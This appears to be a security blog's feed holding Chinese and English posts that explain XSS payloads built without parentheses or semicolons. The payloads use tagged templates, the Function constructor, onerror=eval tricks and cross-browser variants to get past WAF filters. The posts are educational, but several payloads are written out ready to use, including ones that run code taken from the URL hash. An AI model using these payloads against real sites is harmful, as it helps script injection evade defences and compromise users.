aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>這在開發上是確實會用到的（儘管不多），用途就是刻意建立區塊並且搭配 <code>let</code> 或是 <code>const</code> 的關鍵字，讓變數只活在這個區塊裡。</p><p>只要利用區塊，就可以達成不用分號也能分隔程式碼的目的了：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>onerror<span class="token operator">=</span>alert<span class="token punctuation">&#125;</span><span class="token keyword">throw</span> <span class="token number">1</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>除了利用區塊以外，還有其他更酷炫的方法。</p><p>先來講一下 JavaScript 中逗號的用法，基本上就是串聯幾個 expression 並回傳最後一個的結果，如：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token comment">// 1</span><span class="token comment">// true</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><code>if</code> 中的表達式會依序執行 <code>console.log(1)</code>、<code>alert(1)</code> 最後回傳 true，因此 <code>if</code> 的結果成立，印出 true。</p><p>而 <code>throw</code> 後面可以接一個表達式，因此你可以：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span> onerror<span class="token operator">=</span>alert<span class="token punctuation">,</span><span class="token number">1</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>就會先執行 <code>onerror=alert</code>，再執行 <code>throw 1</code>，跟我們用 <code>&#123;&#125;</code> 的做法達成的效果是一樣的，這就是另外一種不需要分號的方法。</p><p>Chrome 的地方就到這裡結束了，接下來都是為了 Firefox 所做的努力。</p><p>在 Firefox 中有錯誤時，它錯誤訊息的格式不一樣：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token number">1</span><span class="token punctuation">;</span><span class="token comment">// uncaught exception: 1</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>在這個錯誤訊息之下，組不出來合法的程式碼，之前提的把 <code>onerror</code> 換成 <code>eval</code> 就沒用了。</p><p>於是 Gareth Heyes 就繼續深挖，發現了兩件事情。第一件事情是，如果 throw 一個 Error 而不是字串，錯誤訊息就不會有這些惱人的 prefix，只剩一個 <code>Error:</code>：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// Error: 1</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>由於 <code>Label:</code> 在 JavaScript 是個合法的程式碼，所以後面直接放程式碼就好，輕輕鬆鬆：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">'alert(1)'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>但用了 <code>Error()</code> 的話就有括號了，而 Gareth Heyes 的第二個發現是，在 Firefox 上你可以 throw 一個 error-like object，也能達到相同效果：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token punctuation">&#123;</span><span class="token literal-property property">lineNumber</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">columnNumber</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">fileName</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">message</span><span class="token operator">:</span><span class="token string">'alert\x281\x29'</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>總而言之呢，這些都是為了要控制 Firefox 最後產生的錯誤訊息，只要能控制，就能組成合法程式碼丟到 eval 去執行。</p><p>剛好最近看到 Gareth Heyes <a href="https://x.com/garethheyes/status/1961078705293246513">發推</a>，說 Firefox 要把這個功能修掉了：<a href="https://github.com/PortSwigger/xss-cheatsheet-data/issues/103">Firefox removed support for throwing error-like objects</a>，於是他就找出了一個新的方法：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span> onerror<span class="token operator">=</span>eval<span class="token punctuation">,</span>x<span class="token operator">=</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">,</span>x<span class="token punctuation">.</span>message<span class="token operator">=</span><span class="token string">'alert\x281\x29'</span><span class="token punctuation">,</span>x<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>看起來是要 new Error 的話，不需要括號也可以。有了一個 Error 物件之後再設定 message，就一樣能控制錯誤訊息。</p><h2><span id="其他-payload">其他 payload</span></h2><p>原文底下有其他人提了另外兩個 payload。</p><p>第一個來自 <a href="https://x.com/terjanq/status/1128692453047975936">@terjanq</a>：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span><span class="token operator">/</span>a<span class="token operator">/</span><span class="token punctuation">,</span>Uncaught<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">,</span>g<span class="token operator">=</span>alert<span class="token punctuation">,</span>a<span class="token operator">=</span><span class="token constant">URL</span><span class="token operator">+</span><span class="token number">0</span><span class="token punctuation">,</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">,</span><span class="token operator">/</span><span class="token number">1</span><span class="token operator">/</span>g<span class="token operator">+</span>a<span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">]</span><span class="token operator">+</span><span class="token punctuation">[</span><span class="token number">1337</span><span class="token punctuation">,</span><span class="token number">3331</span><span class="token punctuation">,</span><span class="token number">117</span><span class="token punctuation">]</span><span class="token operator">+</span>a<span class="token punctuation">[</span><span class="token number">13</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>這個 payload 我試了一下目前只能在 Chrome 執行，很明顯可以拆成幾個部分：</p><ol><li><code>/a/</code></li><li><code>Uncaught=1</code></li><li><code>g=alert</code></li><li><code>a=URL+0</code></li><li><code>onerror=eval</code></li><li><code>throw /1/g+a[12]+[1337,3331,117]+a[13]</code></li></ol><p>因為是用逗號接起來的，所以 throw 的會是最後的那一段。</p><p>先從最後一段開始好了，這個 <code>throw /1/g+a[12]+[1337,3331,117]+a[13]</code> 是幹嘛的。</p><p>首先呢，a 是 <code>URL+0</code>，而 URL 是個 global 的函式，函式 + 0 會變字串，所以 a 是 <code>&quot;function URL() &#123; [native code] &#125;0&quot;</code>，因此 <code>a[12]</code> 跟 <code>a[13]</code> 分別就是 <code>(</code> 跟 <code>)</code> 了。</p><p>而 <code>/1/g</code> 是個 regexp，變成字串的時候會是 <code>&quot;/1/g&quot;</code>。至於 <code>[1337,3331,117]</code> 這個陣列，變字串時會呼叫 join，結果就是 <code>&quot;1337,3331,117&quot;</code>。</p><p>結合在一起，<code>/1/g+a[12]+[1337,3331,117]+a[13]</code> 就會是 <code>/1/g(1337,3331,117)</code>。</p><p>再搭配前面講過的，throw 什麼錯誤訊息就會是什麼，產生的錯誤訊息為：</p><pre class="line-numbers language-none"><code class="language-none">Uncaught &#x2F;1&#x2F;g(1337,3331,117)<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>這邊的 <code>/</code> 雖然之前是當作 regexp，可是在現在的程式碼中，其實是算數的除法，也就是 <code>a / b / c</code>，其中 a 是 <code>Uncaught</code>，b 是 <code>1</code>，c 是 <code>g(1337,3331,117)</code>。</p><p>而 <code>Uncaught</code> 如果沒宣告就會出錯，所以才需要 <code>Uncaught=1</code>，接著 g 會被當成函式執行，因此 <code>g=alert</code>。</p><p>那最前面的 <code>/a/</code> 呢？這個應該只是不想讓 <code>throw</code> 跟後面的 payload 有空格所以才加的，實際上沒其他作用。</p><p>這個解法的精華在於 throw 的時候讓錯誤訊息變成 <code>Uncaught /1/g(1337,3331,117)</code>，是一段合法的程式碼，只要把一些前提補齊，就可以成功呼叫 <code>g</code> 這個函式。</p><p>第二個來自 <a href="https://x.com/cgvwzq">@cgvwzq</a>：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>這邊其實分成兩句，第一句是：<code>TypeError.prototype.name =&#39;=/&#39;</code>，這句是把 TypeError 的名稱強制修改成 <code>=/</code>。</p><p>如果沒有這一句的話，<code>0[0][&#39;test&#39;]</code> 的錯誤訊息是：<code>Uncaught TypeError: Cannot read properties of undefined (reading &#39;test&#39;)</code></p><p><code>0[0]</code> 會是 undefined，而 <code>undefined[&#39;test&#39;]</code> 就會拋出這個 TypeError。</p><p>當我們強制把 name 改掉以後：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'hello!'</span><span class="token punctuation">;</span><span class="token number">0</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'test'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token comment">// Uncaught hello!: Cannot read properties of undefined (reading 'test')</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>就可以控制原本 <code>TypeError</code> 的部分，變成任意字串。</p><p>而另外一句 <code>0[onerror=eval][&#39;/-alert(1)//&#39;]</code>，<code>0[onerror=eval]</code> 其實就只是把賦值放在 <code>[]</code> 裡面，賦值以後等同於 <code>0[eval]</code>，這個會回傳 undefined，於是就會拋一個 TypeError 出來。</p><p>換個方式看好了，底下程式碼：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'&#123;1&#125;'</span><span class="token punctuation">;</span><span class="token number">0</span><span class="token punctuation">[</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'&#123;2&#125;'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>在 Chrome 上會產生的錯誤訊息為：</p><pre class="line-numbers language-none"><code class="language-none">Uncaught &#123;1&#125;: can&#39;t access property &quot;&#123;2&#125;&quot;, 0[eval] is undefined<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>現在的問題就變成，該怎麼透過控制上面的字串，讓錯誤訊息變成合法的程式碼？</p><p>在 <code>&#123;1&#125;</code> 的地方作者放了 <code>=/</code>，合起來就是 <code>Uncaught=/</code>，這個 <code>/</code> 其實是 regexp 的意思，因此這個方法的思路為，讓 <code>&#123;2&#125;</code> 前面那一堆字串（<code>: can&#39;t access property &quot;</code>）都變成 regexp 的一部分。</p><p>因此 <code>&#123;2&#125;</code> 的地方開頭為 <code>/</code>，把前面湊成一個 regexp，接著用 <code>-alert(1)</code> 去執行函式，這邊改成 <code>+alert(1)</code> 也行，就只是要把兩個操作串起來而已。執行完以後，後面的程式碼全都用 <code>//</code> 註解掉，就可以不用管了。</p><p>但如果你實際去跑上面這段 payload，會發現 Chrome 回傳錯誤訊息：<code>Invalid regular expression ... Unterminated group</code>，這是因為錯誤訊息裡面有個 <code>(</code>，那時可能還沒有，造成 regexp 語法有誤，只需要加個 <code>)</code> 就行了：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">')/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>產生的錯誤訊息就會是：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Uncaught <span class="token operator">=</span><span class="token operator">/</span><span class="token operator">:</span> Cannot read properties <span class="token keyword">of</span> <span class="token keyword">undefined</span> <span class="token punctuation">(</span>reading <span class="token string">')/-alert(1)//'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>稍微簡化一下就是：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Uncaught <span class="token operator">=</span><span class="token operator">/</span>regexp<span class="token operator">/</span><span class="token operator">-</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token comment">//...</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>話說這個 payload 在 Chrome 139 上沒問題，Firefox 142 則會報錯：<code>Uncaught SyntaxError: expected expression, got &#39;=&#39;</code>。</p><p>想要 debug 的話，把 <code>onerror=eval</code> 改成 <code>onerror=console.log</code> 就好，先看一下產生的錯誤訊息長怎樣：</p><pre class="line-numbers language-none"><code class="language-none">&#x3D;&#x2F;: can&#39;t access property &quot;)&#x2F;&#x2F;alert(1)&#x2F;&#x2F;&quot;, 0[console.log] is undefined<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>看來 Firefox 上，TypeError 的 name 前面沒有任何東西，因此要讓 Firefox 可以動的話，前面隨便加個可以當變數的字元就行：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'a=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>若是真的有理解這個做法，只要延續這個思路，其實在 TypeName 那邊就可以插入程式碼了，結果是一樣的，但帥氣度沒這麼高（在 Chrome 上沒問題）：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=alert(1)//'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>至於要怎麼組出一個 Chrome 跟 Firefox 都可以的 payload，讀者可以自行練習，或是參考我組出來的一個範例，多加了一些變形：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'+/['</span><span class="token punctuation">,</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span>window<span class="token punctuation">.</span>Uncaught<span class="token operator">++</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">']/-alert\501\51&lt;!--'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2><span id="總結">總結</span></h2><p>其實不管是哪個 payload，核心概念都是相同的，只要把錯誤訊息變成合法的 JavaScript 程式碼，再丟給 eval 執行即可。</p><p>要看懂 payload，無非就是要對 JavaScript 程式碼比較熟悉，例如說 <code>0[onerror=eval]</code> 或是逗號的用法，至少要知道在幹嘛。</p><p>除此之外，就是發揮想像力了，這個就比較難練習，通常都會從觀察模仿開始。</p><p>最後整理幾個關鍵點：</p><ol><li>逗號可以串連多個 expression，會回傳最後一個</li><li>把 onerror 換成 eval，就能把錯誤訊息當程式碼執行</li><li>throw 出去的錯誤會變成錯誤訊息的一部分</li><li>只要能讓錯誤訊息變成合法程式碼就大功告成</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;前陣子收到一封讀者來信，問我能不能寫一篇來講解 &lt;a href=&quot;https://portswigger.net/research/xss-without-parentheses-and-semi-colons&quot;&gt;XSS without parentheses and semi-colons&lt;/a&gt; 這篇文章，說是這裡面的 payload 看不太懂。&lt;/p&gt;
&lt;p&gt;因此，這篇就來簡單講解一下這些 payload，參考的原文是 Gareth Heyes 的這兩篇文章：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://thespanner.co.uk/2012/05/01/xss-technique-without-parentheses&quot;&gt;XSS technique without parentheses&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/research/xss-without-parentheses-and-semi-colons&quot;&gt;XSS without parentheses and semi-colons&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/categories/JavaScript/"/>
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/tags/JavaScript/"/>
    
  </entry>
  
  <entry>
    <title>Explaining XSS without parentheses and semi-colons</title>
    <link href="https://blog.huli.tw/2025/09/15/en/xss-without-semicolon-and-parentheses/"/>
    <id>https://blog.huli.tw/2025/09/15/en/xss-without-semicolon-and-parentheses/</id>
    <published>2025-09-14T20:50:00.000Z</published>
    <updated>2025-09-15T05:42:31.235Z</updated>
    
    <content type="html"><![CDATA[<p>Recently, I received an email from a reader asking if I could write an article explaining <a href="https://portswigger.net/research/xss-without-parentheses-and-semi-colons">XSS without parentheses and semi-colons</a>, saying that the payloads in it were hard to understand.</p><p>Therefore, this article will briefly explain these payloads, referencing Gareth Heyes’ two articles:</p><ol><li><a href="https://thespanner.co.uk/2012/05/01/xss-technique-without-parentheses">XSS technique without parentheses</a></li><li><a href="https://portswigger.net/research/xss-without-parentheses-and-semi-colons">XSS without parentheses and semi-colons</a></li></ol><span id="more"></span><h2><span id="why-do-we-need-such-payloads">Why do we need such payloads?</span></h2><p>Some might wonder, since we can execute JavaScript, why impose so many restrictions? The biggest reason is: WAF (Web Application Firewall). The most common one is Cloudflare’s WAF, which blocks you at the slightest hint of trouble. Even if you can insert HTML or even execute JavaScript, as long as it contains certain patterns, it will be blocked directly.</p><p>Moreover, certain situations may render some characters unusable, and at that point, creativity is needed to find ways to construct executable code without those characters.</p><h2><span id="starting-with-no-parentheses">Starting with no parentheses</span></h2><p>In JavaScript, it seems that to execute a function, parentheses are necessary. So what if we can’t use parentheses?</p><h3><span id="tagged-template-strings">Tagged template strings</span></h3><p>The first method is something some developers may have used but might not think of immediately. Certain JavaScript libraries use template strings to execute functions, such as <a href="https://github.com/porsager/postgres?tab=readme-ov-file#usage">Postgres.js</a>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">getUsersOver</span><span class="token punctuation">(</span><span class="token parameter">age</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> users <span class="token operator">=</span> <span class="token keyword">await</span> sql<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">    select      name,      age    from users    where age > </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span> age <span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">  </span><span class="token template-punctuation string">`</span></span>  <span class="token comment">// users = Result [&#123; name: "Walter", age: 80 &#125;, &#123; name: 'Murray', age: 68 &#125;, ...]</span>  <span class="token keyword">return</span> users<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Those unfamiliar might wonder how this is written; isn’t it an SQL injection vulnerability?</p><p>If only template strings were used, then indeed it would be, but note that there is an additional <code>sql</code> at the front, which changes things. It is not just simple string concatenation; it is function execution, which is a JavaScript syntax. You can see the example below:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>args</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>args<span class="token punctuation">)</span><span class="token punctuation">&#125;</span>test<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'huli'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">!!!</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'good'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">~~</span><span class="token template-punctuation string">`</span></span><span class="token comment">// [['Hello ', '!!!', '~~'], 'huli', 'good']</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>When we add a function at the front, the function’s parameters will receive the fixed parts of the original string and the inserted variables, allowing us to use this information for sanitization to avoid SQL injection. This usage is called tagged template strings.</p><p>The final effect is that it looks like a simple string replacement, but behind it is function execution with sanitization, making it safe.</p><p>Using this concept, we can write an XSS payload that does not require parentheses:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">alert<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">test</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>However, some might ask, if that’s the case, can we only execute alert? Is there a way to execute arbitrary code? For example, if I want to use fetch to POST, I must use the second parameter: <code>fetch(url, &#123; method:&#39;POST&#39;&#125;)</code>, and the method above would have the second parameter as an array, causing fetch to throw an error and not run.</p><p>To address this issue, we can first use the function constructor to create a function by passing in a string. If you’re not familiar with this, you can read: <a href="https://blog.huli.tw/2020/12/01/en/write-conosle-log-1-without-alphanumeric/">How to write console.log(1) without using letters and numbers?</a> or <a href="https://blog.huli.tw/2021/06/07/en/xss-challenge-by-intigriti-writeup-may/">Intigriti’s 0521 XSS Challenge Solution: Limited Character Combination Code</a>, but I will briefly introduce it here.</p><p>In JavaScript, you can dynamically create a function using <code>new Function(code)</code>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'alert(1)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous() &#123; alert(1) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>And that <code>new</code> is actually not necessary; you can remove it without any issue. Furthermore, dynamically created functions can accept parameters:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token string">'alert(a+1)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous(a) &#123; alert(a+1) &#125;</span><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token string">'b'</span><span class="token punctuation">,</span> <span class="token string">'alert(a+b)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous(a,b) &#123; alert(a+b) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The last parameter will be treated as the actual code, while the preceding ones will be treated as function parameters, and it will return the created function.</p><p>Therefore, we can use this point in conjunction with the tagged templates mentioned earlier to create a function from a string:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert(1)</span><span class="token template-punctuation string">`</span></span><span class="token comment">// anonymous() &#123; alert(1) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>So how do we execute this created function? It’s simple; just use the same method again:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Add two backticks at the end, just like the previously mentioned alert`1` usage</span><span class="token comment">// Added an extra space to avoid Markdown parser issues, but it works the same either way</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert(1)</span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>Since <code>alert(1)</code> inside is a string, the parentheses can be directly replaced with unicode, which is also a valid string representation, resulting in:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// it's actually just alert(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert\u00281\u0029</span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>This way, the entire payload does not use any parentheses but can still execute arbitrary code!</p><p>This approach utilizes the first parameter when executing the template, which is the fixed part, but we can also use the subsequent parameters. For example:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span> <span class="token comment">// ['_', '']</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span> <span class="token comment">// hello</span><span class="token punctuation">&#125;</span>test<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>When we pass both a fixed string and parameters simultaneously, the first parameter is all the fixed parts, as mentioned earlier, while the second parameter is our dynamically passed variable <code>hello</code>.</p><p>Using the method above to create a function, as previously mentioned, the last parameter will be treated as the function body:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// anonymous(_,) &#123; hello &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>Thus, this <code>hello</code> is the part we can control. Since it is dynamically passed, there are many ways to play with it, which can be combined with places we can control on the website. For example, <code>location.hash</code> returns the hash from the URL like <code>#test</code>, and by adding <code>slice(1)</code>, we can remove the preceding <code>#</code>, combined it becomes:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// start from this</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// then using location.hash.slice(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// replace slice(1) with ``</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span>slice<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">1</span><span class="token template-punctuation 